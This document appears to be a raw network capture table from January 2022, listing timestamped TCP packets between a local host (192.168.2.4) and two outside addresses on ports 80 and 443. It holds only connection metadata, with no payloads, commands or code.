Jan 14, 2022 12:29:16.119837046 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.119868040 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.119906902 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.119915009 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.119946957 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.120013952 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.120028973 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.120068073 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.120109081 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.120116949 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.120147943 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.120187044 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.120196104 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.120225906 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.120265961 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.120273113 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.120306015 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.120347023 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.120356083 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.120384932 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.120425940 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.120431900 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.120465040 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.120503902 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.120517969 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.120544910 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.120584011 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.120589018 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.120624065 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.120663881 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.120677948 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.120718002 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.120757103 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.120764971 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.120796919 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.120843887 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.120848894 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.120889902 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.120928049 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.120963097 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.120966911 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.121020079 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.121045113 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.121085882 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.121124029 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.121144056 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.121176004 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.121216059 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.121263027 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.121260881 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.121309996 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.121315002 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.121373892 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.121419907 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.121428013 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.121469021 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.121506929 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.121515989 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.121547937 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.121586084 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.121591091 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.121623993 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.121666908 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.138936996 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.138992071 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.139058113 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.139096022 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.139097929 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.139139891 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.139178991 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.139195919 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.139231920 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.139235973 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.139272928 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.139316082 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.139352083 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.139411926 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.139415979 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.139426947 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.139470100 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.139514923 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.139547110 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.139554977 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.139605045 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.139609098 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.139651060 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.139688015 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.139728069 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.139741898 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.139767885 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.139776945 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.139830112 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.139900923 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.139905930 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.139966965 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.140003920 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.140081882 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.140120983 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.140127897 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.140161037 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.140166044 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.140202045 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.140213013 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.140240908 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.140281916 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.140321016 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.140361071 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.140393972 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.140400887 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.140440941 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.140455961 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.140480995 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.140520096 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.140537977 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.140558958 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.140598059 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.140616894 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.140644073 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.140672922 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.142340899 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.159365892 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.159414053 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.159452915 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.159468889 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.159504890 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.159508944 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.159578085 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.159617901 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.159660101 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.159672022 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.159708023 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.159713030 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.159781933 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.159828901 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.159874916 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.159900904 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.159919977 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.159920931 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.159985065 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.160024881 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.160060883 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.160072088 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.160104990 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.160124063 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.160165071 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.160203934 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.160232067 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.160267115 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.160322905 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.160362959 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.160377026 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.160401106 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.160443068 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.160461903 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.160490036 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.160491943 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.160547972 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.160602093 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.160633087 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.160640955 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.160693884 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.160711050 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.160753012 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.160793066 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.160794020 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.160850048 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.160902977 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.160944939 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.160962105 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.160985947 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.161026001 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.161065102 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.161087036 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.161118984 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.161129951 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.161184072 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.161201000 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.161222935 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.161263943 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.161302090 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.161341906 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.161354065 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.161384106 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.161423922 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.161427975 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.161465883 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.161505938 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.161516905 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.161539078 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.161580086 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.161592007 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.161621094 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.161670923 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.179100990 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.179172039 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.179231882 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.179272890 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.179320097 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.179318905 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.179342031 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.179375887 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.179435968 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.179469109 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.179497004 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.179534912 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.179578066 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.179593086 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.179634094 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.179637909 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.179675102 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.179714918 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.179721117 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.179797888 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.179838896 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.179869890 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.179930925 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.179935932 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.180030107 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.197449923 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:17.700162888 CET	49788	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:17.717668056 CET	80	49788	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:17.717773914 CET	49788	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:17.717860937 CET	49788	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:17.717876911 CET	49788	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:17.735105038 CET	80	49788	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:17.859277964 CET	80	49788	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:17.859314919 CET	80	49788	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:17.859416962 CET	49788	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:17.859674931 CET	49788	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:17.876969099 CET	80	49788	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:17.888293982 CET	49789	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:17.905525923 CET	80	49789	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:17.905664921 CET	49789	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:17.905870914 CET	49789	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:17.905885935 CET	49789	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:17.923093081 CET	80	49789	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.025307894 CET	80	49789	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.025398016 CET	49789	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.025758982 CET	49789	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.043073893 CET	80	49789	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.053560019 CET	49790	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.070909977 CET	80	49790	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.071084976 CET	49790	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.071136951 CET	49790	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.071146011 CET	49790	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.088448048 CET	80	49790	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.205806971 CET	80	49790	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.205966949 CET	49790	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.206162930 CET	49790	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.214752913 CET	49791	443	192.168.2.4	185.233.81.115
Jan 14, 2022 12:29:18.214801073 CET	443	49791	185.233.81.115	192.168.2.4
Jan 14, 2022 12:29:18.214904070 CET	49791	443	192.168.2.4	185.233.81.115
Jan 14, 2022 12:29:18.215972900 CET	49791	443	192.168.2.4	185.233.81.115
Jan 14, 2022 12:29:18.216000080 CET	443	49791	185.233.81.115	192.168.2.4
Jan 14, 2022 12:29:18.223484993 CET	80	49790	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.287641048 CET	443	49791	185.233.81.115	192.168.2.4
Jan 14, 2022 12:29:18.287740946 CET	49791	443	192.168.2.4	185.233.81.115
Jan 14, 2022 12:29:18.290087938 CET	49791	443	192.168.2.4	185.233.81.115
Jan 14, 2022 12:29:18.290112972 CET	443	49791	185.233.81.115	192.168.2.4
Jan 14, 2022 12:29:18.290338993 CET	443	49791	185.233.81.115	192.168.2.4
Jan 14, 2022 12:29:18.308522940 CET	49791	443	192.168.2.4	185.233.81.115
Jan 14, 2022 12:29:18.326369047 CET	443	49791	185.233.81.115	192.168.2.4
Jan 14, 2022 12:29:18.326486111 CET	443	49791	185.233.81.115	192.168.2.4
Jan 14, 2022 12:29:18.326553106 CET	49791	443	192.168.2.4	185.233.81.115
Jan 14, 2022 12:29:18.326601028 CET	49791	443	192.168.2.4	185.233.81.115
Jan 14, 2022 12:29:18.326631069 CET	443	49791	185.233.81.115	192.168.2.4
Jan 14, 2022 12:29:18.326649904 CET	49791	443	192.168.2.4	185.233.81.115
Jan 14, 2022 12:29:18.326662064 CET	443	49791	185.233.81.115	192.168.2.4
Jan 14, 2022 12:29:18.356523037 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.374058962 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.374209881 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.374264002 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.375614882 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.391768932 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.392935038 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.497024059 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.497128963 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.497303009 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.514628887 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.791750908 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.808971882 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.809058905 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.809156895 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.869504929 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.910295963 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.910322905 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.910347939 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.910372019 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.910394907 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.910393953 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.910418987 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.910423040 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.910443068 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.910461903 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.910468102 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.910490990 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.910506964 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.910514116 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.910554886 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.927854061 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.949965000 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.949992895 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.950015068 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.950040102 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.950057030 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.950082064 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.950087070 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.950108051 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.950134039 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.950151920 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.950156927 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.950180054 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.950200081 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.950202942 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.950227022 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.950246096 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.950249910 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.950273037 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.950279951 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.950297117 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.950320959 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.950325966 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.950345993 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.950368881 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.950378895 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.950392962 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.950416088 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.950416088 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.950463057 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.967576981 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.967602968 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.967623949 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.967737913 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.989264011 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.989291906 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.989315987 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.989355087 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.989378929 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:18.989387035 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:18.989402056 CET	80	49793	8.209.70.0	192.168.2.4
